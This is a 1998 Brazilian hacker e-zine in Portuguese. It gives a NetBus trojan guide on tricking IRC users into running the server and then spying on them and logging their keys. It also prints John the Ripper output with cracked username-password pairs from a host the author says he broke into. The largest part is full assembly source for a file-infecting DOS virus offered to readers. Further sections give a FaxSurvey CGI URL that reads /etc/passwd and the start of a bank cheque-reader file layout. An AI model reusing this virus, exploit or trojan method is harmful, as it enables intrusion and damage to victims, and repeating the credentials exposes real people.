

                                   ___
 ___                               \xx
 \xx                                \xx
  ___ _______  _________  ________   \xx
  \xx \xxxxxxx \xxxxxxxxx \xxxxxxx    \xx
   \xx \xxxxxxx \xx  x  xx \xx   xx    \xx
    \xx \xx      \xx  x  xx \xx   xx    \xx
     \xx \xx      \xx  x  xx \xxxxxxx    \xx
      \xx \xxxxxxx \xx     xx \xx         ___    
       \xx \xxxxxxx \xx     xx \xx        \xx
        


Icmp security group e-zine ^ All rights reserved (c)

Pagina na web : http://www.geocities.com/Pipeline/Halfpipe/7242/

Webmaster , Design , Security : ZeFuReNgA
Programer , Security : SouHA
Programer , Security : XPaRaNoiD


Outubro & Novembro 1998 - The brazilian hacker journal

                              
             "PARA MELHOR UTILIZAO USE O EDIT / PICO / VI / ED
              SE NENHUM DESSES CONSEGUIR VER A ZINE BEM RECOMENDO
                           QUE UTILIZE OS OLHOS"
                              


               "dublado e legendado nos estudios de Walt Disney"
                


   1.  INTRODUO         - XParanoiD & ZeFuReNgA        
   2.  NET BUS            - ZeFuReNgA     
   3.  CRACKER JOHN       - ZeFuReNgA    
   4.  WORDLISTS          - ZeFuReNgA                  
   5.  VIRUS              - SouHA                       
   6.  FAX SURVEY         - ZeFuReNgA           
   7.  CMC-7              - SouHA                    
   8.  ICMP ENCRYPTOR     - XParanoiD                          
   9.  HUMILDADE...       - ZeFuReNgA     
  10.  HACKEANDO UNIX     - SirHackalot      
  11.  EXPLOIT GENERATOR  - ZeFuReNgA           
  12.  PROGRAMAO        - XParanoiD                        
  13.  NEWZ EDITORS       - ZeFuReNgA                
  14.  MANHAS DO RLOGIN   - ZeFuReNgA                   
  15.  NOTICIAS           - Uground News!      
  16.  WU FTP BUGZ!       - ZeFuReNgA         
  17.  MODEM              - ??????????         
  18.  CARTAS             - icmp group                   
  19.  AGRADECIMENTOS     - XParanoiD & ZeFuReNgA                            
  **.  MEGA BONUS         - ZeFuReNgA                     
  ~~~  ~~~~ ~~~~~         ~ ~~~~~~~~ ~~~ ~~~~~~~~ ~ ~~~~
______________________________________________________________________________

-) Atuais editores :            

-) .SouHA          <       ssouha@hotmail.com        >
-) .XPaRaNoiD      <    xparanoid@mailbr.com.br      >
-) .ZeFuReNgA      <     furenga@linuxbr.com.br      >
                                                                            
Ŀ
  1.  INTRODUO                                                            


 
      Bem...  isso ai, mas uma zine sobre segurana e hacking no brasil.
      O que  icmp security group?
       um grupo de hacking e seguranca de amigos que se conheceram no irc,
      BrasIRC (www.brasirc.net) e que ficam no canal #icmp. Esperamos voc l
      para enturma com a galera :)

      Leia antes de falar mal dela ok? :)

      Nesta zine voce !NAO! vai encontrar:

      * Textos sobre o Kevin Mitinik (Porra! todo mundo ja sabe a historia do
cara! e tem zines que por falta de material ficam botando essa merda!)
      * Se voce quiser ser hacker delete o seu windows e instale o linux (pu
tz... por que nao ter os 2?)
      * Lammers : deletem \home\lamer\icmp.zine ( porra! coisa ridicula!)
      * E o que me da mais vontade de rir e que sempre tem akela merda de "co
mo hackear por ftp!" (Puta que pariu! isso dar dor nos olhos!)
_____________________________________________________________________________

      Esperamos que gostem do e-zine e que voce destribua para seus amigos pa
ra que possamos ter cada vez mais leitores.
      Eu pretendo que nossa hp sempre esteja atualizada etc...
      Sem voces (leitores) nao podemos continuar com essa e-zine! Mesmo se que
voce nao gostar me manda um e-mail! so pra saber que voce leu...
      Obrigado por tudo e espero que goste do material desta zine que eu acho
que ta muito bom para uma zine numero 0 n?
      Abraos para o pessoal da IHS que se encontram no #hacker da brasirc.
      Um p na bunda do pessoal do #Niteroi.
      Pessoal dos #Hackers > Vao se phude... O puto do invdr tinha me posto na
akick so porque estava trocando senhas...
      Pessoal do #Brasircop > VOCES PHEDEM! VAO TOMAR NO CU SEUS IRCOPS FILHOS
PUTA! VOCES SAO VAGABUNDOS E NAO FAZEM PORRA NENHUMA!
      Obrigado ao cheat struck grande amigo meu das noites passadas em clara
      tentando hackears varios hosts e por cada vez mais divulgar o nosso
      grupo em sua tima zine.

      Icmp staff <icmp@linuxbr.com.br>

Ŀ
  2.  NET BUS                                                               


      Bem aqui vamos falar sobre a nova febre que e o Netbus. O netbus  o
      concorrente do mais famoso Back orifice.
      Concerteza voce que nunca usou o netbus gostara mais do que o back
      orifice ( gozao com o nome de um prog da micro$soft chamado back
      office ).

      Tentarei explicar detalhadamente o uso do netbus e como ele funciona
      caso encontre algum erro nesta materia mande um e-mail para
      furenga@hotmail.com dizendo o erro.

      Vamos comear a mteria :

      Netbus  um programa para voc controlar remotamente um computador li
      gado a internet que esteja rodando WINDOWS 95 / 98 / NT.
      Ele simplismente permite que voc tenha total acesso ao outro computador.
      Mas antes de voc ja ir pensando em sair invadindo o computador do pes
      soal... Voc vai ter uma dificil tarefa... jogar o patche.exe para o compu
      tador da vitima e fazelo (a) executalo.
      Ai voc pensa... O que esse patche.exe tem haver com isso tudo?Bem...
      Este arquivo  um cavalo de troia que abrira no computador da vi
      tima uma porta (12345) onde o cliente do NETBUS (netbus.exe) ira usar
      para invasao.
      Ele usa o protocolo tcp/ip :)
      Voc j deve estar querendo saber o lugar onde se pega o netbus n?
      entao ok... eu sou bonzinho hehe... v em http://www.warforge.com - Obs
      : no me mande e-mail falando que nao acho ele!
      Se vira que ele esta l...
      Agora que voc ja deu o download descompacta ele para c:\netbus com o
      WINZIP , PKUNZIP ou qualquer dessas merdas ae... caso voc nao tenha o
      winzip vai em www.winzip.com .

      Pronto... agora voc ira precisar infectar alguem. Entre em qualquer
      servidor de irc. E procure conversar com uns lammers... diz que  um
      nuke foda ou um programa para hackear provedor ( putz hehehe ). Se vi
      ra e joga essa merda l...

      Ja jogo? Ele ja rodo? OPAAA!!! agora ta beleza... Agora rodeo o cliente
      do Netbus (netbus.exe) agora siga os passos :

      Conectando ao computador :

      Na parte " Host name / IP : " Bote o IP do cara... e Clique em Connect!
      Depois disso  s voc fazer a festa... Voc pode ficar abrindo e fe
      chando o CD - ROM do cara,mandar uma caixa de dialogo , tirar uma foto
      do computador dele , dar download dos arquivos e tem no computador dele
      e dar upload , rodar aplicativos e mais muita coisa que eu vou descrever
      abaixo.

      J conectado ao computador da vitima voce pode fazer essas seguintes
      aces...
      Tudo isso feito por voc!

* Abrir e fechar o CD - ROM 
* Mostrar imagens
* Trocar as funcoes do mouse tipo o click no botao direito ser como um click no esquerdo
* Tocar uma musica
* Comandar o mouse da vitima
* Desligar , Reiniciar o computador da vitima
* Ir para uma homepage ( bota um site gay pra zoar o cara! )
* Gravar todas as teclas que ele esta digitando! ( bom para voc ler os pvts!)
* Tirar foto do micro do cara! ( Yeah! isso mesmo! ACREDITE!)
* Upload de qualquer arquivo de voce e manda pra ele! ( e rodar! bom para virus.. voce passa e roda ele :))
* Aumentar e diminuir o volume do som
* Fazer sons ao clicar no teclado
* Dar downloads e deletar qualquer coisa ( deletar  coisa de babaca...)
* Travar certas teclas do teclado
* Botar senha no micro dele para que so voce possa usar o NETBUS nele

    DICAS QUENTES PARA VOC USAR COM O NETBUS!!

    Jogue para o computador do cara o boserve.exe ( o trojan do BO ) e rodeo
ele... ai voc ter 2 opcoes de invadir o computador do lamer , por netbus
ou por backorifice ( show! )
    
    Trave as vogais dele ( a,e,i,o,u ) voce nao tera ideia de como ser
engraado ver ele falando sem as vogais... tipo "v t dr prrd!!!" =
"vou te dar porrada!!!"
      
    Abre qualquer cliente de IRC e digite /dns www.provedor.com.br . Ele
returnara com um numero (ip) tipo 200.222.234.54 .
    Copie esse ip e cole no Netbus e bote 200.222.234.54+100 . e clicke em
connect! Ele ir scannear todos os ips de 200.222.234.0 a 200.222.234.100
( Se conectar em algum comemore :) ! )


 ZeFuReNgA (c) copyright 1998 - icmp member 
. .. When you play you want to pay .. .

Ŀ
  3. CRACKER JOHN                                                           


   John the Ripper  Version 1.5  Copyright (c) 1996-98 by Solar Designer

        Fala galera, iremos agora falar sobre password crackers.Ainda
        h muitas pessoas que me encontram e perguntam como se usa o
        cracker jack. Bah... Sera que ate hoje esse pessoal mal infor
        mado nao saiba da existencia do cracker john que  um cracker
        muito mais rapido eficiente e com milhares de opces.
        H ate a opo de sem wordlist! Para quem tinha problema com
        a velocidade do cracker jack

-single                   "single crack"mode
-wordfile:FILE -stdin     wordlist mode, read words from FILE or stdin
-rules                    enable rules for wordlist mode
-incremental[:MODE]       incremental mode [using section MODE]
-external:MODE            external mode or word filter
-restore[:FILE]           restore an interrupted session [from FILE]
-session:FILE             set session file name to FILE
-makechars:FILE           make a charset, FILE will be overwritten
-show                     show cracked passwords
-test                     perform a benchmark
-users:[-]LOGIN|UID[,..]  load this (these) user(s) only
-groups:[-]GID[,..]       load users of this (these) group(s) only
-shells:[-]SHELL[,..]     load users with this (these) shell(s) only
-salts:[-]COUNT           load salts with at least COUNT passwords only
-format:NAME              force ciphertext format NAME (DES, BSDI, MD5, BF)
-savemem:LEVEL            enable memory saving, at LEVEL 1..3

   Viu quantas coisa uteis tem nele? :) Este programa esta por ai... procure-o
 que voc vai achar... :)
   Ele  muito facil de usar... por favor! nao me manda msgs falando que nao
consegue usar essa merda... se voce mandar esse tipo de mensagem era sera ign
orada , very simple :)

   Usando :

   Eu vou dar um exemplo , este passwd  de um host do japao que eu consegui
hackear.
   O nome da minha wordlist  bigdict e do meu passwd a ser crackeado  passwd
entao teriamos de fazer este seguinte comando :

c:\john-15\run\> john -wordfile:bigdict passwd

John the Ripper  Version 1.5  Copyright (c) 1996-98 by Solar Designer

Loaded 184 passwords with 181 different salts (Standard DES [24/32 4K])

Yoshi            (ohira)
adoresu          (setsubi)
american         (miyasita)
haruka           (emiko)
kaikei           (higashi)
masashi          (kawanisi)
moriko           (ikouga)
nakada           (gaku-s1)
newtown          (takezako)
redrose          (abematsu)
sakura           (jingusi)
takahiro         (kitamura)
takayuki         (ijichi)
tosiharu         (t-yanagi)
yasutaka         (gakusei)

-------

      lembrando que esta lista fica organizado com a senha e o (login).

      Espero que tenham entendido,  muito facil lidar com esse programa ,
acho que nao mereco falar mais sobre ele...

ZeFuReNgA (c) copyright 1998 <furenga@hotmail.com>
. ..When you play you want to pay.. .

Ŀ
  4. WORDLIST                                                               


        Bem. Um dos utilitarios que nenhum hacker pode deichar de ter  uma
*BOA* wordlist.
        Muitos me perguntao onde achar uma , porque  realmente dificil achar
uma de boa qualidade.
        Um certo dia em que eu peguei um passwd de uma universidade do japao
eu estava precisando de uma tima wordlist porque nenhuma minha tinha conse
guido crackear um bom numero de senhas. Por isso procurei a todo custo e achei
uma seo s de wordlist em http://www.antionline.com/
        Nela se encontra essas wordlists :

        * BigDict - Uma wordlist com 1.6 milhoes de palavras
        * Actor-givenname - Acho que  nome de atores
        * Cartoon - Nome de personagens de desenho animado
        * Colleges - A list of Oxford Colleges. 
        * Common-passwords - Senhas comuns
        * Female-names - Nomes femininos
        * Jargon - A word list of Jargon
        * Male-names - Nomes masculinos
        * movie-characters - Nomes de filmes etc.
        * music-country - O nome da diz :')
        * music-jazz - Musicas e cantores de jazz
        * music-rock - Musicas e bandas de rock
        * myths-legends - A word list related to myths and legends
        * tech - Palavras sobre tecnologia
        * trek - Termos do star trek
        * Unabr_dict - Dicionario dos EUA

Deu para ver a grande variedades de wordlist. Eu recomendo a pegar a Unabr_dict
que  o dicionario dos eua e principalmente a BigDict que ja me deu alguns
roots :).

ZeFuReNgA Produes :) (c) 1998

Ŀ
  5.  ViRUS By SouHA                                                        

          Eu (ZeFuReNgA) no queria botar algo sobre virus na icmp security
          zine , porque eu acho virus uma coisa anti tica.
          Caso voc nao concorde comi *FUCK YOU*.
          Mas... Como muita gente gosta de virii tive que botar :p
          No me responsabelizo por nada.
          Atualmente quem faz a parte de virus da zine e o nosso amigo e
          membro da icmp SouHA
          Para se comunicar com ele mande um e-mail para ssouha@hotmail.com

************************************************
Um virus de verdade meu para vc's brincarem heheh
*************************************************}
;-----------------------------------
;Program by SouHA
;Date: 20/07/96
;Time: 10:36:00
;Descript Virus of .Com, .Exe and crash overwrite.
;E-mail:ssouha@hotmail.com
;-------------------------------------------------

Mov_cx  Macro   x
	db      0B9H
	dw      x
Endm


Code    Segment
	Assume Ds:Code,Ss:Code,Cs:Code,Es:Code
	Org     $+0100h

VCode:  Jmp     virus


;Justifica o espaco de um arquivo .COM p/ um arquivo pequeno 
	Nop
	Nop
	Nop
	Nop
	Nop
	Nop
	Nop
        Nop
	Nop
	Nop
	Nop
	Nop
	Nop
	Nop
	Nop


;************************************************************
;              Este e o virus atual neste lugar.
;************************************************************

v_start Equ     $


virus:  Push    Cx
	Mov     Dx,OffSet vir_dat       ;This is where the virus data starts.
					; The 2nd and 3rd bytes get modified.
	Cld                             ;Pointers will be auto INcremented
	Mov     Si,Dx                   ;Access data as offset from SI
	Add     Si,first_3              ;Point to original 1st 3 bytes of .COM
	Mov     Di,OffSet 100H          ;`cause all .COM files start at 100H
	Mov     Cx,3
	Repz    MovSb                   ;Restore original first 3 bytes of .COM
	Mov     Si,Dx                   ;Keep SI pointing to the data area

;*************************************************************
;                   Checa a verso o DOS
;*************************************************************

	Mov     Ah,30H
	Int     21H

	Cmp     Al,0                    ;0 means it's version 1.X

	Jnz     dos_ok                  ;For version 2.0 or greater
	Jmp     quit                    ;Don't try to infect version 1.X


;*************************************************************
;  Se esta verso do DOS e maior o bastante para o trabalho 
;*************************************************************

dos_ok: Push    Es



;*************************************************************
;   Recebe o endereco da DTA dentro dos registradores Es:Bx
;*************************************************************

	Mov     Ah,2FH
	Int     21H

;*************************************************************
;                    Salva o endereco DTA
;*************************************************************


	Mov     [Si+old_dta],Bx
	Mov     [Si+old_dts],Es         ;Save the DTA address

	Pop     Es

;*************************************************************
;       Grupo DTA p/o ponto dentro dos dados do virus 
;*************************************************************

	Mov     Dx,dta                  ;Offset of new DTA in virus data area
;       Nop                             ;MASM will add this NOP here
	Add     Dx,Si                   ;Compute DTA address
	Mov     Ah,1Ah
	Int     21H                     ;Set new DTA to inside our own code


	Push    Es
	Push    Si
	Mov     Es,Ds:2Ch
	Mov     Di,0                    ;Es:Di points to environment

;************************************************************
;        Procura o "PATH=" e as palavras no ambiente
;************************************************************

find_path:
	Pop     Si
	Push    Si                      ;Get SI back
	Add     Si,env_str              ;Point to "PATH=" string in data area
	LodSb
	Mov     Cx,OffSet 8000H         ;Environment can be 32768 bytes long
	RepNz   ScaSb                   ;Search for first character
	Mov     Cx,4

;************************************************************
;     Olha para checar se o proximo quatro caracteres
;************************************************************

check_next_4:
	LodSb
	SCASB
	Jnz     find_path               ;If not all there, abort & start over
	Loop    check_next_4            ;Loop to check the next character

	Pop     Si
	Pop     Es
	Mov     [Si+path_ad],Di         ;Save the address of the PATH
	Mov     Di,Si
	Add     Di,wrk_spc              ;File name workspace
	Mov     Bx,Si                   ;Save a copy of SI
	Add     Si,wrk_spc              ;Point SI to workspace
	Mov     Di,Si                   ;Point Di to workspace
	Jmp     Short   slash_ok


;**********************************************************
;        Olha no PATH p/ mais diretorios, se algum 
;**********************************************************

set_subdir:
	Cmp     Word Ptr [Si+path_ad],0 ;Is PATH string ended?
	Jnz     found_subdir            ;If not, there are more subdirectories
	Jmp     all_done                ;Else, we're all done


;**********************************************************
;        Verifica se esta no diretorio do PATH
;**********************************************************

found_subdir:
	Push    Ds
	Push    Si
	Mov     Ds,Es:2Ch               ;Ds points to environment segment
	Mov     Di,Si
	Mov     Si,Es:[Di+path_ad]      ;SI = PATH address
	Add     Di,wrk_spc              ;Di points to file name workspace


;**********************************************************************
;     Movimenta o nome do subdiretori p/dentro do arquivo de trabalho
;**********************************************************************

move_subdir:
	LodSb                           ;Get character
	Cmp     Al,';'                  ;Is it a ';' delimiter?
	JZ      moved_one               ;Yes, found another subdirectory
	Cmp     Al,0                    ;End of PATH string?
	JZ      moved_last_one          ;Yes
	StoSb                           ;Save PATH marker into [Di]
	Jmp     Short   move_subdir

;******************************************************************
; Marca o aquele fato nos alcances no ultimos diretorio
;******************************************************************

moved_last_one:
	Mov     Si,0


;******************************************************************
;  Aqui atr'as n'os subdiret'orio movimentamos um subdiret'orio
;******************************************************************

moved_one:
	Pop     Bx                      ;Pointer to virus data area
	Pop     Ds                      ;Restore Ds
	Mov     [Bx+path_ad],Si         ;Address of next subdirectory
	Nop

;******************************************************************
;       Marca um certo subdiret'orio no final de um "\" 
;******************************************************************

	Cmp     Ch,'\'                  ;Ends with "\"?
	JZ      slash_ok                ;If yes
	Mov     Al,'\'                  ;Add one, if not
	StoSb


;******************************************************************
;        Neste lugar n'os sabemos o final de uma diviso
;******************************************************************

slash_ok:
	Mov     [Bx+nam_ptr],Di         ;Set filename pointer to name workspace
	Mov     Si,Bx                   ;Restore SI
	Add     Si,f_spec               ;Point to "*.COM"
	Mov     Cx,6
	Repz    MovSb                   ;Move "*.COM",0 to workspace

	Mov     Si,Bx

;*****************************************************************
;                          Virus Vienna
;*****************************************************************

      Push Es 
       Push Ax
       Mov Ax, 40h
       Mov Es, Ax
       Mov Word Ptr Es:4Ah, 40h
       Mov Word Ptr Es:08h, 1f2h
       Mov Word Ptr Es:00h, 3f2h
       Pop Ax
       Pop Es

;*******************************************************************
;                 Procura o comeco da string *.COM
;*******************************************************************
	
	Mov     Ah,4EH
	Mov     Dx,wrk_spc
;       Nop                             ;MASM will add this NOP here
	Add     Dx,Si                   ;Dx points to "*.COM" in workspace
	Mov     Cx,3                    ;Attributes of Read Only or Hidden OK
	Int     21H

	Jmp     Short   find_first


;*******************************************************************
;            Procura o proximo ASCIIZ string com *.COM
;*******************************************************************

find_next:
	Mov     Ah,4FH
	Int     21H

find_first:
	Jnb     found_file              ;Jump if we found it
	Jmp     Short   set_subdir      ;Otherwise, get another subdirectory

;*******************************************************************
;                  Aqui quando n'os achamos um arquivo    
;*******************************************************************

found_file:
	Mov     Ax,[Si+dta_tim]         ;Get time from DTA
	And     Al,1FH                  ;Mask to remove all but seconds
	Cmp     Al,1FH                  ;62 seconds -> already infected
	JZ      find_next               ;If so, go find another file

	Cmp     Word Ptr [Si+dta_len],OffSet 0FA00H ;Is the file too long?
	JA      find_next               ;If too long, find another one

	Cmp     Word Ptr [Si+dta_len],0Ah ;Is it too short?
	Jb      find_next               ;Then go find another one

	Mov     Di,[Si+nam_ptr]         ;Di points to file name
	Push    Si                      ;Save Si
	Add     Si,dta_nam              ;Point Si to file name

;********************************************************************
;                Move the name to the end of the path
;********************************************************************

more_chars:
	LodSb
	StoSb
	Cmp     Al,0
	Jnz     more_chars              ;Move characters until we find a 00


;********************************************************************
;                  recebe os atributos de um arquivos
;********************************************************************
	Pop     Si
	Mov     Ax,OffSet 4300H
	Mov     Dx,wrk_spc              ;Point to \path\name in workspace
;       Nop                             ;MASM will add this NOP here
	Add     Dx,Si
	Int     21H

	Mov     [Si+old_att],Cx         ;Save the old attributes

;********************************************************************
;         Rewrite the attributes to allow writing to the file
;********************************************************************

	Mov     Ax,OffSet 4301H         ;Set attributes
	And     Cx,OffSet 0FFFEH        ;Set all except "read only" (weird)
	Mov     Dx,wrk_spc              ;Offset of \path\name in workspace
;       Nop                             ;MASM will add this NOP here
	Add     Dx,Si                   ;Point to \path\name
	Int     21H

;********************************************************************
;                Open Read/Write channel to the file
;********************************************************************

	Mov     Ax,OffSet 3D02H         ;Read/Write
	Mov     Dx,wrk_spc              ;Offset to \path\name in workspace
;       Nop                             ;MASM will add this NOP here
	Add     Dx,Si                   ;Point to \path\name
	Int     21H

	JNB     opened_ok               ;If file was opened OK
	Jmp     fix_attr                ;If it failed, restore the attributes


;*******************************************************************
;                        Get the file date & time
;*******************************************************************

opened_ok:
	Mov     Bx,Ax
	Mov     Ax,OffSet 5700H
	Int     21H

	Mov     [Si+old_tim],Cx         ;Save file time
	Mov     [Si+ol_date],Dx         ;Save the date

;*******************************************************************
;                        Get current system time
;*******************************************************************

	Mov     Ah,2Ch
	Int     21H


	And     DH,7                    ;Last 3 bits 0? (once in eight)

;*******************************************************************
; The following line is a change from the original virus. Originally
;  the following line would be Jnz seven_in_eight. This would ruin
;  about 1/8 of all .COM files infected, while the other 7/8 would
;  be left workable, but infected. For the purpose of studying a
;  live virus, the changed line is not so damaging.
;*******************************************************************
	Jmp     Short   seven_in_eight


;*******************************************************************
; The special "one in eight" infection. If the above line were in
;  its original form, this code would be run 1/8 of the time, and
;  rather than appending a copy of this virus to the .COM file, the
;  file would get 5 bytes of code that reboot the system when the
;  .COM file is run.
;*******************************************************************


	Mov     Ah,40H                  ;Write to file
	Mov     Cx,5                    ;Five bytes
	Mov     Dx,Si
	Add     Dx,reboot               ;Offset of reboot code in data area
	Int     21H

	Jmp     Short   fix_time_stamp

	Nop


;******************************************************************
;      Here's where we infect a .COM file with this virus
;******************************************************************

seven_in_eight:
	Mov     Ah,3FH
	Mov     Cx,3
	Mov     Dx,first_3
;       Nop                     ;MASM will add this NOP here
	Add     Dx,Si
	Int     21H             ;Save first 3 bytes into the data area

	Jb      fix_time_stamp  ;Quit, if read failed

	Cmp     Ax,3            ;Were we able to read all 3 bytes?
	Jnz     fix_time_stamp  ;Quit, if not


;******************************************************************
;              Move file pointer to end of file
;******************************************************************

	Mov     Ax,OffSet 4202H
	Mov     Cx,0
	Mov     Dx,0
	Int     21H

	Jb      fix_time_stamp  ;Quit, if it didn't work

	Mov     Cx,Ax           ;Dx:Ax (long int) = file Size
	Sub     Ax,3            ;Subtract 3 (OK, Since Dx must be 0, here)
	Mov     [Si+jmp_dsp],Ax ;Save the displacement in a JMP instruction

	Add     Cx,OffSet c_len_y
	Mov     Di,Si           ;Point Di to virus data area
	Sub     Di,OffSet c_len_x
				;Point Di to reference vir_dat, at start of pgm
	Mov     [Di],Cx         ;Modify vir_dat reference:2nd, 3rd bytes of pgm


;*******************************************************************
;                    Write virus code to file
;*******************************************************************

	Mov     Ah,40H

	Mov_Cx  virlen                  ;Length of virus, in bytes

	Mov     Dx,Si
	Sub     Dx,OffSet codelen       ;Length of virus code, gives starting
					; address of virus code in memory
	Int     21H

	Jb      fix_time_stamp          ;Jump if error

	Cmp     Ax,OffSet virlen        ;All bytes written?
	Jnz     fix_time_stamp          ;Jump if error


;**********************************************************************
;                Move file pointer to beginning of the file
;**********************************************************************

	Mov     Ax,OffSet 4200H
	Mov     Cx,0
	Mov     Dx,0
	Int     21H

	Jb      fix_time_stamp          ;Jump if error


;**********************************************************************
;              Write the 3 byte JMP at the start of the file
;**********************************************************************

	Mov     Ah,40H
	Mov     Cx,3
	Mov     Dx,Si                   ;Virus data area
	Add     Dx,jmp_op               ;Point to the reconstructed Jmp
	Int     21H


;**********************************************************************
;       Restore old file date & time, with seconds modified to 62
;**********************************************************************

fix_time_stamp:
	Mov     Dx,[Si+ol_date]         ;Old file date
	Mov     Cx,[Si+old_tim]         ;Old file time
	And     Cx,OffSet 0FFE0H
	OR      Cx,1FH                  ;Seconds = 31/30 min = 62 seconds
	Mov     Ax,OffSet 5701H
	Int     21H


;**********************************************************************
;                              Close File
;**********************************************************************

	Mov     Ah,3EH
	Int     21H


;**********************************************************************
;                     Restore Old File Attributes
;**********************************************************************

fix_attr:
	Mov     Ax,OffSet 4301H
	Mov     Cx,[Si+old_att]         ;Old Attributes
	Mov     Dx,wrk_spc
;       Nop                             ;MASM will add this NOP
	Add     Dx,Si                   ;Dx points to \path\name in workspace
	Int     21H


;**********************************************************************
;              Here when it's time to close it up & end
;**********************************************************************

all_done:
	Push    Ds


;**********************************************************************
;                         Restore old DTA
;**********************************************************************

	Mov     Ah,1Ah
	Mov     Dx,[Si+old_dta]
	Mov     Ds,[Si+old_dts]
	Int     21H

	Pop     Ds


;*************************************************************************
; Clear registers used, & do a weird kind of Jmp 100. The weirdness comes
;  in Since the address in a real Jmp 100 is an offset, and the offset
;  varies from one infected file to the next. By PUSHing an 0100H onto the
;  stack, we can RET to address 0100H just as though we JMPed there.
;**********************************************************************

quit:
	Pop     Cx
	Xor     Ax,Ax
	Xor     Bx,Bx
	Xor     Dx,Dx
	Xor     Si,Si
	Mov     Di,OffSet 0100H
	Push    Di
	Xor     Di,Di

	Ret     0FFFFH

;************************************************************************
;The virus data starts here. It's accessed off the Si register, per the
; comments as shown
;************************************************************************

vir_dat Equ     $


	;Use this with (Si + old_dta)
olddta_ dw      0                       ;Old DTA offset

	;Use this with (Si + old_dts)
olddts_ dw      0                       ;Old DTA segment

	;Use this with (Si + old_tim)
oldtim_ dw      0                       ;Old Time

	;Use this with (Si + ol_date)
oldate_ dw      0                       ;Old date

	;Use this with (Si + old_att)
oldatt_ dw      0                       ;Old file attributes



;Here's where the first three bytes of the original .COM file go.(Si + first_3)

first3_ Equ     $
	Int     20H
	Nop



;Here's where the new Jmp instruction is worked out

	;Use this with (Si + jmp_op)
jmpop_  db      0E9H                    ;Start of Jmp instruction

	;Use this with (Si + jmp_dsp)
jmpdsp_ dw      0                       ;The displacement part



;This is the type of file  we're looking to infect. (Si + f_spec)

fspec_  db      '*.COM',0

	;Use this with (Si + path_ad)
pathad_ dw      0                       ;Path address

	;Use this with (Si + nam_ptr)
namptr_ dw      0                       ;Pointer to start of file name

	;Use this with (Si + env_str)
envstr_ db      'PATH='                 ;Find this in the environment

	;File name workspace (Si + wrk_spc)
wrkspc_ db      40h dup (0)

	;Use this with (Si + dta)
dta_    db      16h dup (0)             ;Temporary DTA goes here

	;Use this with (Si + dta_tim)
dtatim_ dw      0,0                     ;Time stamp in DTA

	;Use this with (Si + dta_len)
dtalen_ dw      0,0                     ;File length in the DTA

	;Use this with (Si + dta_nam)
dtanam_ db      0Dh dup (0)             ;File name in the DTA

	;Use this with (Si + reboot)
reboot_ db      0EAh,0F0H,0FFH,0FFH,0FFH ;Five byte FAR Jmp to FFFF:FFF0


lst_byt Equ     $                       ;All lines that assemble into code are
					;  above this one


;*****************************************************************************
;The virus needs to know a few details about its own Size and the Size of its
; code portion. Let the assembler figure out these Sizes automatically.
;*****************************************************************************

virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
codelen =       vir_dat - v_start       ;Length of virus code, only
c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP


;*****************************************************************************
;Because this code is being appended to the end of an executable file, the
; exact address of its variables cannot be known. All are accessed as offsets
; from Si, which is represented as vir_dat in the below declarations.
;*****************************************************************************

old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
jmp_op  =       jmpop_  - vir_dat       ;Displacement to the Jmp opcode
jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of Jmp
f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
path_ad =       pathad_ - vir_dat       ;Displacement to the path address
nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
	Code    Ends
End     VCode

{--------------------------------- Corte aqui --------------------------------

SouHA (c) copyright 1996  - icmp member
<ssouha@hotmail.com>

Ŀ
  6. FAX SURVEY                                                             


         y0 dudz , agora nos iremos falar sobre mais um bug no cgi-bin
         (Fax Survey) pouco conhecido. Com ele o hacker tem a possibili
         dade de executar qualquer comando.
         Bem , quando eu disse que poderia executar qualquer comando
         tenho certeza que voc ja deve ter pensando em dar um cat
         no passwd n? Entao vamos dar um cat nele!
 
         bote:

    "http://lest.fuck.one.host/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd"
em seu favorito browser para pegar a copia do passwd file do sistema :)

    Todos S.u.S.e 5.1 e 5.2 Linux dist. com o Hyla Fax package instalado sao
vulneraveis!!!

    Boa sorte :) T+!

    ZeFuReNgA
    

Ŀ
  7. CMC-7                                                                  


        O que eu vou falar hoje e sobre Leitora de CMC-7  que legal n, bem
o q eu vou falar foi tirado de um Banco por mim hehehe no contem para ninguem,
bem mais eu s do tipo q olho mais no destruo nenhuma informo la contida :))
bem se vc no esta lembrado q maquina  esta, entrem num Banco e olhem para uma
maquininha que fica la registrando todos os cheques ou seja pegando a conta do
individuo, o valor eo nmero da conta bem se vc's estao confusos para q isto
vai servir bem um Hacker vai saberdo que fazer com estas informaes, sempre
q o cara coloca o cheque ali para ser lido a mquina pega todos os dados dela
e coloca num arquivo mais no e to facil assim no o arquivo fica com um tipo
de Header que determina onde fica cada instruo bem eu consegui  entender  o
funcionamento vou passar para vc's o Header dele para vc's endenderem melhor,
pelo q eu sei todas as informaes l contidas so mandadas via Satlite para
uma sentral onde eles pegam e com um programinha eles conseguem entender tudo
que la esta.


          ----------------------------------------------------------
          O arquivo dever conter um Header, com a seguinte lay-out:
          ----------------------------------------------------------

--------------------------------------------------------------------------------
|N Posicoes |  Pict | Conteudo                 | Especificacoes                |  
--------------------------------------------------------------------------------
|01-01 a 31 | X(31) | Filer                    | Igual a zeros.                |
|02-32 a 37 | X(06) | Constante igual a CEL605 | Nome do arquivo.              |
|03-38 a 40 | 9(03) | Compe Local              | Codigo da camara de compensa  |
|           |       |                          | cao onde esta sendo apresen-  |
|           |       |                          | tado o arquivo.               |
